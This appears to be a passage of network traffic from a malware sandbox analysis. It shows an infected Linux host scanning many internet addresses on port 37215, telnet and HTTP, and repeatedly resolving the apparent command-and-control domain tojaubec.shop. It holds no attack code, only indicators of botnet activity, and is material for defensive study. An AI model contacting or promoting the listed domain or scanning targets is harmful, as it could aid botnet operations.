Jan 5, 2025 14:35:00.469921112 CET	39368	37215	192.168.2.13	197.83.134.208
Jan 5, 2025 14:35:00.471529007 CET	37215	53648	156.179.44.151	192.168.2.13
Jan 5, 2025 14:35:00.472858906 CET	57034	37215	192.168.2.13	41.125.204.121
Jan 5, 2025 14:35:00.473885059 CET	37215	56986	41.125.204.121	192.168.2.13
Jan 5, 2025 14:35:00.476460934 CET	38320	37215	192.168.2.13	156.161.221.30
Jan 5, 2025 14:35:00.476461887 CET	38320	37215	192.168.2.13	156.161.221.30
Jan 5, 2025 14:35:00.479487896 CET	37215	49886	156.86.142.141	192.168.2.13
Jan 5, 2025 14:35:00.479893923 CET	38368	37215	192.168.2.13	156.161.221.30
Jan 5, 2025 14:35:00.481266975 CET	37215	38320	156.161.221.30	192.168.2.13
Jan 5, 2025 14:35:00.483972073 CET	43692	37215	192.168.2.13	156.50.56.6
Jan 5, 2025 14:35:00.483972073 CET	43692	37215	192.168.2.13	156.50.56.6
Jan 5, 2025 14:35:00.484718084 CET	37215	38368	156.161.221.30	192.168.2.13
Jan 5, 2025 14:35:00.484762907 CET	38368	37215	192.168.2.13	156.161.221.30
Jan 5, 2025 14:35:00.487484932 CET	37215	57922	197.175.162.9	192.168.2.13
Jan 5, 2025 14:35:00.488231897 CET	43740	37215	192.168.2.13	156.50.56.6
Jan 5, 2025 14:35:00.488728046 CET	37215	43692	156.50.56.6	192.168.2.13
Jan 5, 2025 14:35:00.492688894 CET	54206	37215	192.168.2.13	197.159.178.158
Jan 5, 2025 14:35:00.492697954 CET	39340	37215	192.168.2.13	41.245.158.70
Jan 5, 2025 14:35:00.492698908 CET	34184	37215	192.168.2.13	156.245.141.198
Jan 5, 2025 14:35:00.492698908 CET	37044	37215	192.168.2.13	156.241.244.77
Jan 5, 2025 14:35:00.492700100 CET	43112	37215	192.168.2.13	197.37.180.192
Jan 5, 2025 14:35:00.492716074 CET	59338	37215	192.168.2.13	156.245.190.4
Jan 5, 2025 14:35:00.492727041 CET	59036	37215	192.168.2.13	197.78.8.202
Jan 5, 2025 14:35:00.492727041 CET	33540	37215	192.168.2.13	197.114.161.87
Jan 5, 2025 14:35:00.492727995 CET	33794	37215	192.168.2.13	41.136.40.189
Jan 5, 2025 14:35:00.492744923 CET	40510	37215	192.168.2.13	156.62.255.186
Jan 5, 2025 14:35:00.492748976 CET	57972	37215	192.168.2.13	197.175.162.9
Jan 5, 2025 14:35:00.492748976 CET	50274	37215	192.168.2.13	197.192.252.246
Jan 5, 2025 14:35:00.492755890 CET	39368	37215	192.168.2.13	197.83.134.208
Jan 5, 2025 14:35:00.492755890 CET	53702	37215	192.168.2.13	156.179.44.151
Jan 5, 2025 14:35:00.492758989 CET	38368	37215	192.168.2.13	156.161.221.30
Jan 5, 2025 14:35:00.492762089 CET	49938	37215	192.168.2.13	156.86.142.141
Jan 5, 2025 14:35:00.492789984 CET	35802	37215	192.168.2.13	41.130.183.227
Jan 5, 2025 14:35:00.492790937 CET	35802	37215	192.168.2.13	41.130.183.227
Jan 5, 2025 14:35:00.493021011 CET	37215	43740	156.50.56.6	192.168.2.13
Jan 5, 2025 14:35:00.493088961 CET	43740	37215	192.168.2.13	156.50.56.6
Jan 5, 2025 14:35:00.497577906 CET	37215	54206	197.159.178.158	192.168.2.13
Jan 5, 2025 14:35:00.497644901 CET	54206	37215	192.168.2.13	197.159.178.158
Jan 5, 2025 14:35:00.497750044 CET	35850	37215	192.168.2.13	41.130.183.227
Jan 5, 2025 14:35:00.497798920 CET	37215	39340	41.245.158.70	192.168.2.13
Jan 5, 2025 14:35:00.497809887 CET	37215	34184	156.245.141.198	192.168.2.13
Jan 5, 2025 14:35:00.497818947 CET	37215	35802	41.130.183.227	192.168.2.13
Jan 5, 2025 14:35:00.497837067 CET	37215	37044	156.241.244.77	192.168.2.13
Jan 5, 2025 14:35:00.497845888 CET	37215	43112	197.37.180.192	192.168.2.13
Jan 5, 2025 14:35:00.497848988 CET	39340	37215	192.168.2.13	41.245.158.70
Jan 5, 2025 14:35:00.497857094 CET	37215	59338	156.245.190.4	192.168.2.13
Jan 5, 2025 14:35:00.497864962 CET	37215	33794	41.136.40.189	192.168.2.13
Jan 5, 2025 14:35:00.497874022 CET	34184	37215	192.168.2.13	156.245.141.198
Jan 5, 2025 14:35:00.497874022 CET	37044	37215	192.168.2.13	156.241.244.77
Jan 5, 2025 14:35:00.497874975 CET	37215	59036	197.78.8.202	192.168.2.13
Jan 5, 2025 14:35:00.497884035 CET	37215	33540	197.114.161.87	192.168.2.13
Jan 5, 2025 14:35:00.497893095 CET	37215	40510	156.62.255.186	192.168.2.13
Jan 5, 2025 14:35:00.497903109 CET	33794	37215	192.168.2.13	41.136.40.189
Jan 5, 2025 14:35:00.497927904 CET	59338	37215	192.168.2.13	156.245.190.4
Jan 5, 2025 14:35:00.497927904 CET	59036	37215	192.168.2.13	197.78.8.202
Jan 5, 2025 14:35:00.497929096 CET	43112	37215	192.168.2.13	197.37.180.192
Jan 5, 2025 14:35:00.497929096 CET	33540	37215	192.168.2.13	197.114.161.87
Jan 5, 2025 14:35:00.497931957 CET	40510	37215	192.168.2.13	156.62.255.186
Jan 5, 2025 14:35:00.498589039 CET	37215	57972	197.175.162.9	192.168.2.13
Jan 5, 2025 14:35:00.498600960 CET	37215	50274	197.192.252.246	192.168.2.13
Jan 5, 2025 14:35:00.498610020 CET	37215	39368	197.83.134.208	192.168.2.13
Jan 5, 2025 14:35:00.498627901 CET	37215	53702	156.179.44.151	192.168.2.13
Jan 5, 2025 14:35:00.498631954 CET	57972	37215	192.168.2.13	197.175.162.9
Jan 5, 2025 14:35:00.498631954 CET	50274	37215	192.168.2.13	197.192.252.246
Jan 5, 2025 14:35:00.498637915 CET	37215	38368	156.161.221.30	192.168.2.13
Jan 5, 2025 14:35:00.498647928 CET	37215	49938	156.86.142.141	192.168.2.13
Jan 5, 2025 14:35:00.498655081 CET	39368	37215	192.168.2.13	197.83.134.208
Jan 5, 2025 14:35:00.498666048 CET	38368	37215	192.168.2.13	156.161.221.30
Jan 5, 2025 14:35:00.498672962 CET	53702	37215	192.168.2.13	156.179.44.151
Jan 5, 2025 14:35:00.498681068 CET	49938	37215	192.168.2.13	156.86.142.141
Jan 5, 2025 14:35:00.499486923 CET	37215	47404	197.28.77.200	192.168.2.13
Jan 5, 2025 14:35:00.499551058 CET	37215	50226	197.192.252.246	192.168.2.13
Jan 5, 2025 14:35:00.502597094 CET	43740	37215	192.168.2.13	156.50.56.6
Jan 5, 2025 14:35:00.502793074 CET	37215	35850	41.130.183.227	192.168.2.13
Jan 5, 2025 14:35:00.502854109 CET	35850	37215	192.168.2.13	41.130.183.227
Jan 5, 2025 14:35:00.502868891 CET	35850	37215	192.168.2.13	41.130.183.227
Jan 5, 2025 14:35:00.507394075 CET	37215	43740	156.50.56.6	192.168.2.13
Jan 5, 2025 14:35:00.507464886 CET	43740	37215	192.168.2.13	156.50.56.6
Jan 5, 2025 14:35:00.507478952 CET	37215	39320	197.83.134.208	192.168.2.13
Jan 5, 2025 14:35:00.507853031 CET	37215	35850	41.130.183.227	192.168.2.13
Jan 5, 2025 14:35:00.507896900 CET	35850	37215	192.168.2.13	41.130.183.227
Jan 5, 2025 14:35:00.519479990 CET	37215	56986	41.125.204.121	192.168.2.13
Jan 5, 2025 14:35:00.523523092 CET	37215	38320	156.161.221.30	192.168.2.13
Jan 5, 2025 14:35:00.531495094 CET	37215	43692	156.50.56.6	192.168.2.13
Jan 5, 2025 14:35:00.543607950 CET	37215	35802	41.130.183.227	192.168.2.13
Jan 5, 2025 14:35:00.624197006 CET	58962	23	192.168.2.13	101.106.62.91
Jan 5, 2025 14:35:00.629057884 CET	23	58962	101.106.62.91	192.168.2.13
Jan 5, 2025 14:35:00.629297972 CET	58962	23	192.168.2.13	101.106.62.91
Jan 5, 2025 14:35:00.656138897 CET	38804	23	192.168.2.13	43.178.13.185
Jan 5, 2025 14:35:00.656146049 CET	32780	23	192.168.2.13	27.145.167.50
Jan 5, 2025 14:35:00.660950899 CET	23	38804	43.178.13.185	192.168.2.13
Jan 5, 2025 14:35:00.660962105 CET	23	32780	27.145.167.50	192.168.2.13
Jan 5, 2025 14:35:00.661011934 CET	38804	23	192.168.2.13	43.178.13.185
Jan 5, 2025 14:35:00.661015987 CET	32780	23	192.168.2.13	27.145.167.50
Jan 5, 2025 14:35:00.688148975 CET	36488	23	192.168.2.13	133.123.209.85
Jan 5, 2025 14:35:00.688148975 CET	33982	23	192.168.2.13	141.141.149.2
Jan 5, 2025 14:35:00.693036079 CET	23	36488	133.123.209.85	192.168.2.13
Jan 5, 2025 14:35:00.693048954 CET	23	33982	141.141.149.2	192.168.2.13
Jan 5, 2025 14:35:00.693092108 CET	36488	23	192.168.2.13	133.123.209.85
Jan 5, 2025 14:35:00.693095922 CET	33982	23	192.168.2.13	141.141.149.2
Jan 5, 2025 14:35:00.814575911 CET	59666	52756	92.118.56.203	192.168.2.13
Jan 5, 2025 14:35:00.814667940 CET	52756	59666	192.168.2.13	92.118.56.203
Jan 5, 2025 14:35:00.819524050 CET	59666	52756	92.118.56.203	192.168.2.13
Jan 5, 2025 14:35:01.104144096 CET	40186	80	192.168.2.13	162.220.2.172
Jan 5, 2025 14:35:01.104150057 CET	47534	80	192.168.2.13	4.72.184.235
Jan 5, 2025 14:35:01.108141899 CET	34820	37215	192.168.2.13	156.232.11.104
Jan 5, 2025 14:35:01.108155966 CET	36550	37215	192.168.2.13	156.75.208.51
Jan 5, 2025 14:35:01.108160019 CET	35908	37215	192.168.2.13	156.174.170.104
Jan 5, 2025 14:35:01.109024048 CET	80	40186	162.220.2.172	192.168.2.13
Jan 5, 2025 14:35:01.109036922 CET	80	47534	4.72.184.235	192.168.2.13
Jan 5, 2025 14:35:01.109078884 CET	47534	80	192.168.2.13	4.72.184.235
Jan 5, 2025 14:35:01.109082937 CET	40186	80	192.168.2.13	162.220.2.172
Jan 5, 2025 14:35:01.109144926 CET	29477	80	192.168.2.13	14.23.12.113
Jan 5, 2025 14:35:01.109153986 CET	29477	80	192.168.2.13	8.68.178.189
Jan 5, 2025 14:35:01.109153986 CET	29477	80	192.168.2.13	192.42.222.62
Jan 5, 2025 14:35:01.109154940 CET	29477	80	192.168.2.13	206.30.217.2
Jan 5, 2025 14:35:01.109177113 CET	29477	80	192.168.2.13	17.46.78.253
Jan 5, 2025 14:35:01.109186888 CET	29477	80	192.168.2.13	66.111.47.208
Jan 5, 2025 14:35:01.109186888 CET	29477	80	192.168.2.13	87.250.95.34
Jan 5, 2025 14:35:01.109195948 CET	29477	80	192.168.2.13	82.202.250.133
Jan 5, 2025 14:35:01.109198093 CET	29477	80	192.168.2.13	71.115.238.200
Jan 5, 2025 14:35:01.109211922 CET	29477	80	192.168.2.13	166.80.178.29
Jan 5, 2025 14:35:01.109211922 CET	29477	80	192.168.2.13	197.235.197.121
Jan 5, 2025 14:35:01.109211922 CET	29477	80	192.168.2.13	217.153.188.215
Jan 5, 2025 14:35:01.109211922 CET	29477	80	192.168.2.13	97.20.150.117
Jan 5, 2025 14:35:01.109220028 CET	29477	80	192.168.2.13	189.0.183.80
Jan 5, 2025 14:35:01.109224081 CET	29477	80	192.168.2.13	138.183.55.28
Jan 5, 2025 14:35:01.109231949 CET	29477	80	192.168.2.13	40.16.176.8
Jan 5, 2025 14:35:01.109232903 CET	29477	80	192.168.2.13	144.119.91.38
Jan 5, 2025 14:35:01.109235048 CET	29477	80	192.168.2.13	104.152.54.54
Jan 5, 2025 14:35:01.109244108 CET	29477	80	192.168.2.13	61.198.150.68
Jan 5, 2025 14:35:01.109244108 CET	29477	80	192.168.2.13	69.161.126.58
Jan 5, 2025 14:35:01.109246969 CET	29477	80	192.168.2.13	95.19.138.98
Jan 5, 2025 14:35:01.109246969 CET	29477	80	192.168.2.13	123.0.203.63
Jan 5, 2025 14:35:01.109249115 CET	29477	80	192.168.2.13	88.216.109.178
Jan 5, 2025 14:35:01.109249115 CET	29477	80	192.168.2.13	72.63.230.236
Jan 5, 2025 14:35:01.109251976 CET	29477	80	192.168.2.13	129.211.146.204
Jan 5, 2025 14:35:01.109266043 CET	29477	80	192.168.2.13	94.59.87.106
Jan 5, 2025 14:35:01.109266043 CET	29477	80	192.168.2.13	90.108.111.109
Jan 5, 2025 14:35:01.109266996 CET	29477	80	192.168.2.13	128.112.38.90
Jan 5, 2025 14:35:01.109272003 CET	29477	80	192.168.2.13	202.130.99.38
Jan 5, 2025 14:35:01.109278917 CET	29477	80	192.168.2.13	38.193.115.79
Jan 5, 2025 14:35:01.109286070 CET	29477	80	192.168.2.13	153.219.128.111
Jan 5, 2025 14:35:01.109287024 CET	29477	80	192.168.2.13	5.75.149.40
Jan 5, 2025 14:35:01.109296083 CET	29477	80	192.168.2.13	116.112.231.234
Jan 5, 2025 14:35:01.109296083 CET	29477	80	192.168.2.13	35.112.130.0
Jan 5, 2025 14:35:01.109298944 CET	29477	80	192.168.2.13	185.182.217.67
Jan 5, 2025 14:35:01.109298944 CET	29477	80	192.168.2.13	25.54.225.86
Jan 5, 2025 14:35:01.109304905 CET	29477	80	192.168.2.13	133.118.225.164
Jan 5, 2025 14:35:01.109306097 CET	29477	80	192.168.2.13	189.229.250.31
Jan 5, 2025 14:35:01.109314919 CET	29477	80	192.168.2.13	208.68.92.42
Jan 5, 2025 14:35:01.109316111 CET	29477	80	192.168.2.13	1.193.110.180
Jan 5, 2025 14:35:01.109316111 CET	29477	80	192.168.2.13	45.30.153.204
Jan 5, 2025 14:35:01.109323978 CET	29477	80	192.168.2.13	97.244.33.25
Jan 5, 2025 14:35:01.109337091 CET	29477	80	192.168.2.13	31.43.162.87
Jan 5, 2025 14:35:01.109337091 CET	29477	80	192.168.2.13	209.150.79.136
Jan 5, 2025 14:35:01.109337091 CET	29477	80	192.168.2.13	159.47.171.162
Jan 5, 2025 14:35:01.109344959 CET	29477	80	192.168.2.13	166.187.185.64
Jan 5, 2025 14:35:01.109344959 CET	29477	80	192.168.2.13	177.187.139.79
Jan 5, 2025 14:35:01.109347105 CET	29477	80	192.168.2.13	104.26.182.212
Jan 5, 2025 14:35:01.109347105 CET	29477	80	192.168.2.13	19.6.226.162
Jan 5, 2025 14:35:01.109347105 CET	29477	80	192.168.2.13	45.165.167.126
Jan 5, 2025 14:35:01.109357119 CET	29477	80	192.168.2.13	213.119.90.178
Jan 5, 2025 14:35:01.109359026 CET	29477	80	192.168.2.13	187.46.202.188
Jan 5, 2025 14:35:01.109359980 CET	29477	80	192.168.2.13	155.34.23.134
Jan 5, 2025 14:35:01.109374046 CET	29477	80	192.168.2.13	204.233.109.208
Jan 5, 2025 14:35:01.109374046 CET	29477	80	192.168.2.13	39.160.136.18
Jan 5, 2025 14:35:01.109374046 CET	29477	80	192.168.2.13	126.110.70.100
Jan 5, 2025 14:35:01.109375954 CET	29477	80	192.168.2.13	138.124.53.38
Jan 5, 2025 14:35:01.109376907 CET	29477	80	192.168.2.13	69.41.29.206
Jan 5, 2025 14:35:01.109376907 CET	29477	80	192.168.2.13	38.183.195.238
Jan 5, 2025 14:35:01.109376907 CET	29477	80	192.168.2.13	115.7.44.209
Jan 5, 2025 14:35:01.109380960 CET	29477	80	192.168.2.13	212.127.83.249
Jan 5, 2025 14:35:01.109380960 CET	29477	80	192.168.2.13	25.180.104.237
Jan 5, 2025 14:35:01.109390020 CET	29477	80	192.168.2.13	140.105.234.109
Jan 5, 2025 14:35:01.109400034 CET	29477	80	192.168.2.13	118.41.109.7
Jan 5, 2025 14:35:01.109400988 CET	29477	80	192.168.2.13	200.49.198.170
Jan 5, 2025 14:35:01.109406948 CET	29477	80	192.168.2.13	184.77.20.47
Jan 5, 2025 14:35:01.109406948 CET	29477	80	192.168.2.13	112.252.159.212
Jan 5, 2025 14:35:01.109406948 CET	29477	80	192.168.2.13	38.109.17.253
Jan 5, 2025 14:35:01.109426975 CET	29477	80	192.168.2.13	154.176.28.215
Jan 5, 2025 14:35:01.109426975 CET	29477	80	192.168.2.13	135.43.184.157
Jan 5, 2025 14:35:01.109428883 CET	29477	80	192.168.2.13	53.193.168.154
Jan 5, 2025 14:35:01.109436035 CET	29477	80	192.168.2.13	199.23.14.68
Jan 5, 2025 14:35:01.109443903 CET	29477	80	192.168.2.13	201.237.218.232
Jan 5, 2025 14:35:01.109443903 CET	29477	80	192.168.2.13	125.62.216.65
Jan 5, 2025 14:35:01.109448910 CET	29477	80	192.168.2.13	208.187.243.218
Jan 5, 2025 14:35:01.109452963 CET	29477	80	192.168.2.13	123.196.24.248
Jan 5, 2025 14:35:01.109452963 CET	29477	80	192.168.2.13	99.29.21.86
Jan 5, 2025 14:35:01.109458923 CET	29477	80	192.168.2.13	170.84.215.216
Jan 5, 2025 14:35:01.109458923 CET	29477	80	192.168.2.13	84.40.239.155
Jan 5, 2025 14:35:01.109472036 CET	29477	80	192.168.2.13	36.105.40.170
Jan 5, 2025 14:35:01.109472990 CET	29477	80	192.168.2.13	152.219.48.8
Jan 5, 2025 14:35:01.109476089 CET	29477	80	192.168.2.13	94.66.191.88
Jan 5, 2025 14:35:01.109477997 CET	29477	80	192.168.2.13	68.157.33.181
Jan 5, 2025 14:35:01.109484911 CET	29477	80	192.168.2.13	95.181.132.89
Jan 5, 2025 14:35:01.109488964 CET	29477	80	192.168.2.13	150.102.141.233
Jan 5, 2025 14:35:01.109493017 CET	29477	80	192.168.2.13	164.106.11.219
Jan 5, 2025 14:35:01.109497070 CET	29477	80	192.168.2.13	105.205.9.115
Jan 5, 2025 14:35:01.109497070 CET	29477	80	192.168.2.13	204.58.216.169
Jan 5, 2025 14:35:01.109499931 CET	29477	80	192.168.2.13	102.253.82.54
Jan 5, 2025 14:35:01.109504938 CET	29477	80	192.168.2.13	70.19.34.217
Jan 5, 2025 14:35:01.109504938 CET	29477	80	192.168.2.13	116.199.210.174
Jan 5, 2025 14:35:01.109514952 CET	29477	80	192.168.2.13	128.155.20.244
Jan 5, 2025 14:35:01.109514952 CET	29477	80	192.168.2.13	39.196.32.244
Jan 5, 2025 14:35:01.109515905 CET	29477	80	192.168.2.13	192.134.0.235
Jan 5, 2025 14:35:01.109515905 CET	29477	80	192.168.2.13	163.109.93.175
Jan 5, 2025 14:35:01.109529018 CET	29477	80	192.168.2.13	1.144.169.3
Jan 5, 2025 14:35:01.109532118 CET	29477	80	192.168.2.13	70.94.24.241
Jan 5, 2025 14:35:01.109533072 CET	29477	80	192.168.2.13	129.98.208.141
Jan 5, 2025 14:35:01.109533072 CET	29477	80	192.168.2.13	62.217.122.118
Jan 5, 2025 14:35:01.109538078 CET	29477	80	192.168.2.13	205.152.40.36
Jan 5, 2025 14:35:01.109539986 CET	29477	80	192.168.2.13	126.50.89.52
Jan 5, 2025 14:35:01.109539986 CET	29477	80	192.168.2.13	114.162.254.143
Jan 5, 2025 14:35:01.109551907 CET	29477	80	192.168.2.13	219.150.23.56
Jan 5, 2025 14:35:01.109559059 CET	29477	80	192.168.2.13	13.112.222.103
Jan 5, 2025 14:35:01.109565973 CET	29477	80	192.168.2.13	42.32.21.163
Jan 5, 2025 14:35:01.109570026 CET	29477	80	192.168.2.13	52.105.11.204
Jan 5, 2025 14:35:01.109570026 CET	29477	80	192.168.2.13	219.170.174.56
Jan 5, 2025 14:35:01.109570980 CET	29477	80	192.168.2.13	37.225.173.193
Jan 5, 2025 14:35:01.109572887 CET	29477	80	192.168.2.13	88.235.31.24
Jan 5, 2025 14:35:01.109586000 CET	29477	80	192.168.2.13	221.226.218.60
Jan 5, 2025 14:35:01.109586000 CET	29477	80	192.168.2.13	67.61.61.7
Jan 5, 2025 14:35:01.109586000 CET	29477	80	192.168.2.13	136.10.145.221
Jan 5, 2025 14:35:01.109586000 CET	29477	80	192.168.2.13	52.48.155.32
Jan 5, 2025 14:35:01.109605074 CET	29477	80	192.168.2.13	206.203.35.1
Jan 5, 2025 14:35:01.109611034 CET	29477	80	192.168.2.13	17.187.57.224
Jan 5, 2025 14:35:01.109611034 CET	29477	80	192.168.2.13	44.203.44.212
Jan 5, 2025 14:35:01.109611034 CET	29477	80	192.168.2.13	156.77.71.5
Jan 5, 2025 14:35:01.109611034 CET	29477	80	192.168.2.13	167.187.123.233
Jan 5, 2025 14:35:01.109611034 CET	29477	80	192.168.2.13	79.218.150.101
Jan 5, 2025 14:35:01.109611034 CET	29477	80	192.168.2.13	48.64.254.254
Jan 5, 2025 14:35:01.109623909 CET	29477	80	192.168.2.13	147.213.160.181
Jan 5, 2025 14:35:01.109625101 CET	29477	80	192.168.2.13	170.197.116.16
Jan 5, 2025 14:35:01.109626055 CET	29477	80	192.168.2.13	209.170.222.124
Jan 5, 2025 14:35:01.109627962 CET	29477	80	192.168.2.13	194.131.109.41
Jan 5, 2025 14:35:01.109637976 CET	29477	80	192.168.2.13	53.168.12.93
Jan 5, 2025 14:35:01.109654903 CET	29477	80	192.168.2.13	117.21.251.212
Jan 5, 2025 14:35:01.109657049 CET	29477	80	192.168.2.13	169.128.67.45
Jan 5, 2025 14:35:01.109658957 CET	29477	80	192.168.2.13	68.68.85.38
Jan 5, 2025 14:35:01.109664917 CET	29477	80	192.168.2.13	87.215.55.180
Jan 5, 2025 14:35:01.109664917 CET	29477	80	192.168.2.13	101.162.75.134
Jan 5, 2025 14:35:01.109664917 CET	29477	80	192.168.2.13	113.36.200.210
Jan 5, 2025 14:35:01.109667063 CET	29477	80	192.168.2.13	209.122.251.210
Jan 5, 2025 14:35:01.109669924 CET	29477	80	192.168.2.13	179.239.107.81
Jan 5, 2025 14:35:01.109673023 CET	29477	80	192.168.2.13	90.96.169.57
Jan 5, 2025 14:35:01.109674931 CET	29477	80	192.168.2.13	209.225.90.205
Jan 5, 2025 14:35:01.109675884 CET	29477	80	192.168.2.13	61.232.7.111
Jan 5, 2025 14:35:01.109707117 CET	29477	80	192.168.2.13	80.188.1.227
Jan 5, 2025 14:35:01.109707117 CET	29477	80	192.168.2.13	138.3.118.150
Jan 5, 2025 14:35:01.109709978 CET	29477	80	192.168.2.13	128.2.103.221
Jan 5, 2025 14:35:01.109709978 CET	29477	80	192.168.2.13	135.146.86.211
Jan 5, 2025 14:35:01.109709978 CET	29477	80	192.168.2.13	41.203.196.142
Jan 5, 2025 14:35:01.109714985 CET	29477	80	192.168.2.13	14.51.4.5
Jan 5, 2025 14:35:01.109726906 CET	29477	80	192.168.2.13	60.108.168.74
Jan 5, 2025 14:35:01.109728098 CET	29477	80	192.168.2.13	73.228.240.226
Jan 5, 2025 14:35:01.109728098 CET	29477	80	192.168.2.13	24.97.35.83
Jan 5, 2025 14:35:01.109728098 CET	29477	80	192.168.2.13	62.79.61.11
Jan 5, 2025 14:35:01.109730005 CET	29477	80	192.168.2.13	65.147.127.248
Jan 5, 2025 14:35:01.109730959 CET	29477	80	192.168.2.13	195.77.80.11
Jan 5, 2025 14:35:01.109730005 CET	29477	80	192.168.2.13	14.36.101.95
Jan 5, 2025 14:35:01.109730005 CET	29477	80	192.168.2.13	181.129.32.210
Jan 5, 2025 14:35:01.109734058 CET	29477	80	192.168.2.13	195.4.147.189
Jan 5, 2025 14:35:01.109735012 CET	29477	80	192.168.2.13	42.180.168.0
Jan 5, 2025 14:35:01.109750032 CET	29477	80	192.168.2.13	120.5.189.191
Jan 5, 2025 14:35:01.109750986 CET	29477	80	192.168.2.13	19.150.130.0
Jan 5, 2025 14:35:01.109751940 CET	29477	80	192.168.2.13	178.16.75.228
Jan 5, 2025 14:35:01.109751940 CET	29477	80	192.168.2.13	45.246.152.220
Jan 5, 2025 14:35:01.109751940 CET	29477	80	192.168.2.13	99.225.201.186
Jan 5, 2025 14:35:01.109751940 CET	29477	80	192.168.2.13	180.73.171.82
Jan 5, 2025 14:35:01.109754086 CET	29477	80	192.168.2.13	8.222.177.167
Jan 5, 2025 14:35:01.109755039 CET	29477	80	192.168.2.13	167.177.119.65
Jan 5, 2025 14:35:01.109759092 CET	29477	80	192.168.2.13	186.140.157.181
Jan 5, 2025 14:35:01.109759092 CET	29477	80	192.168.2.13	173.231.207.246
Jan 5, 2025 14:35:01.109759092 CET	29477	80	192.168.2.13	65.1.199.177
Jan 5, 2025 14:35:01.109755039 CET	29477	80	192.168.2.13	179.145.104.172
Jan 5, 2025 14:35:01.109761953 CET	29477	80	192.168.2.13	65.200.176.141
Jan 5, 2025 14:35:01.109762907 CET	29477	80	192.168.2.13	170.214.116.8
Jan 5, 2025 14:35:01.109761000 CET	29477	80	192.168.2.13	41.91.28.95
Jan 5, 2025 14:35:01.109761000 CET	29477	80	192.168.2.13	96.219.235.102
Jan 5, 2025 14:35:01.109761000 CET	29477	80	192.168.2.13	87.70.153.130
Jan 5, 2025 14:35:01.109761000 CET	29477	80	192.168.2.13	44.94.219.182
Jan 5, 2025 14:35:01.109761000 CET	29477	80	192.168.2.13	150.242.111.223
Jan 5, 2025 14:35:01.109761000 CET	29477	80	192.168.2.13	208.71.130.217
Jan 5, 2025 14:35:01.109761953 CET	29477	80	192.168.2.13	139.87.137.112
Jan 5, 2025 14:35:01.109761953 CET	29477	80	192.168.2.13	78.56.225.115
Jan 5, 2025 14:35:01.109771013 CET	29477	80	192.168.2.13	148.89.166.177
Jan 5, 2025 14:35:01.109771967 CET	29477	80	192.168.2.13	188.254.79.184
Jan 5, 2025 14:35:01.109771967 CET	29477	80	192.168.2.13	200.122.148.101
Jan 5, 2025 14:35:01.109780073 CET	29477	80	192.168.2.13	137.118.190.66
Jan 5, 2025 14:35:01.109780073 CET	29477	80	192.168.2.13	205.18.227.8
Jan 5, 2025 14:35:01.109780073 CET	29477	80	192.168.2.13	5.245.57.24
Jan 5, 2025 14:35:01.109781981 CET	29477	80	192.168.2.13	191.64.184.55
Jan 5, 2025 14:35:01.109782934 CET	29477	80	192.168.2.13	134.178.3.106
Jan 5, 2025 14:35:01.109782934 CET	29477	80	192.168.2.13	147.215.16.162
Jan 5, 2025 14:35:01.109797955 CET	29477	80	192.168.2.13	89.12.239.212
Jan 5, 2025 14:35:01.109797955 CET	29477	80	192.168.2.13	107.131.104.71

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 5, 2025 14:34:51.743227959 CET	192.168.2.13	8.8.8.8	0xb42a	Standard query (0)	tojaubec.shop	A (IP address)	IN (0x0001)	false
Jan 5, 2025 14:34:54.249017000 CET	192.168.2.13	8.8.8.8	0xb73b	Standard query (0)	tojaubec.shop	A (IP address)	IN (0x0001)	false
Jan 5, 2025 14:34:56.750340939 CET	192.168.2.13	8.8.8.8	0x50eb	Standard query (0)	tojaubec.shop	A (IP address)	IN (0x0001)	false
Jan 5, 2025 14:34:59.254519939 CET	192.168.2.13	8.8.8.8	0x3a1	Standard query (0)	tojaubec.shop	A (IP address)	IN (0x0001)	false
Jan 5, 2025 14:35:01.832000017 CET	192.168.2.13	8.8.8.8	0x743f	Standard query (0)	tojaubec.shop	A (IP address)	IN (0x0001)	false
Jan 5, 2025 14:35:06.841584921 CET	192.168.2.13	8.8.8.8	0x743f	Standard query (0)	tojaubec.shop	A (IP address)	IN (0x0001)	false
Jan 5, 2025 14:35:10.968094110 CET	192.168.2.13	8.8.8.8	0x12bf	Standard query (0)	tojaubec.shop	A (IP address)	IN (0x0001)	false
Jan 5, 2025 14:35:13.455483913 CET	192.168.2.13	8.8.8.8	0x152b	Standard query (0)	tojaubec.shop	A (IP address)	IN (0x0001)	false
Jan 5, 2025 14:35:16.065264940 CET	192.168.2.13	8.8.8.8	0x4d5d	Standard query (0)	tojaubec.shop	A (IP address)	IN (0x0001)	false
Jan 5, 2025 14:35:18.562118053 CET	192.168.2.13	8.8.8.8	0xdc9	Standard query (0)	tojaubec.shop	A (IP address)	IN (0x0001)	false
Jan 5, 2025 14:35:21.071820974 CET	192.168.2.13	8.8.8.8	0xcb9f	Standard query (0)	tojaubec.shop	A (IP address)	IN (0x0001)	false
Jan 5, 2025 14:35:23.566445112 CET	192.168.2.13	8.8.8.8	0x3b59	Standard query (0)	tojaubec.shop	A (IP address)	IN (0x0001)	false
Jan 5, 2025 14:35:26.047811031 CET	192.168.2.13	8.8.8.8	0xc8e8	Standard query (0)	tojaubec.shop	A (IP address)	IN (0x0001)	false
Jan 5, 2025 14:35:28.609849930 CET	192.168.2.13	8.8.8.8	0x9e3f	Standard query (0)	tojaubec.shop	A (IP address)	IN (0x0001)	false
Jan 5, 2025 14:35:31.167016029 CET	192.168.2.13	8.8.8.8	0x4c4	Standard query (0)	tojaubec.shop	A (IP address)	IN (0x0001)	false
Jan 5, 2025 14:35:33.668179035 CET	192.168.2.13	8.8.8.8	0x9863	Standard query (0)	tojaubec.shop	A (IP address)	IN (0x0001)	false
Jan 5, 2025 14:35:36.184389114 CET	192.168.2.13	8.8.8.8	0xdf8f	Standard query (0)	tojaubec.shop	A (IP address)	IN (0x0001)	false
Jan 5, 2025 14:35:38.670106888 CET	192.168.2.13	8.8.8.8	0xd74d	Standard query (0)	tojaubec.shop	A (IP address)	IN (0x0001)	false
Jan 5, 2025 14:35:41.186675072 CET	192.168.2.13	8.8.8.8	0xcc1	Standard query (0)	tojaubec.shop	A (IP address)	IN (0x0001)	false
Jan 5, 2025 14:35:43.671586037 CET	192.168.2.13	8.8.8.8	0xd395	Standard query (0)	tojaubec.shop	A (IP address)	IN (0x0001)	false
Jan 5, 2025 14:35:46.154818058 CET	192.168.2.13	8.8.8.8	0xd3be	Standard query (0)	tojaubec.shop	A (IP address)	IN (0x0001)	false
Jan 5, 2025 14:35:48.704257011 CET	192.168.2.13	8.8.8.8	0xe7fb	Standard query (0)	tojaubec.shop	A (IP address)	IN (0x0001)	false
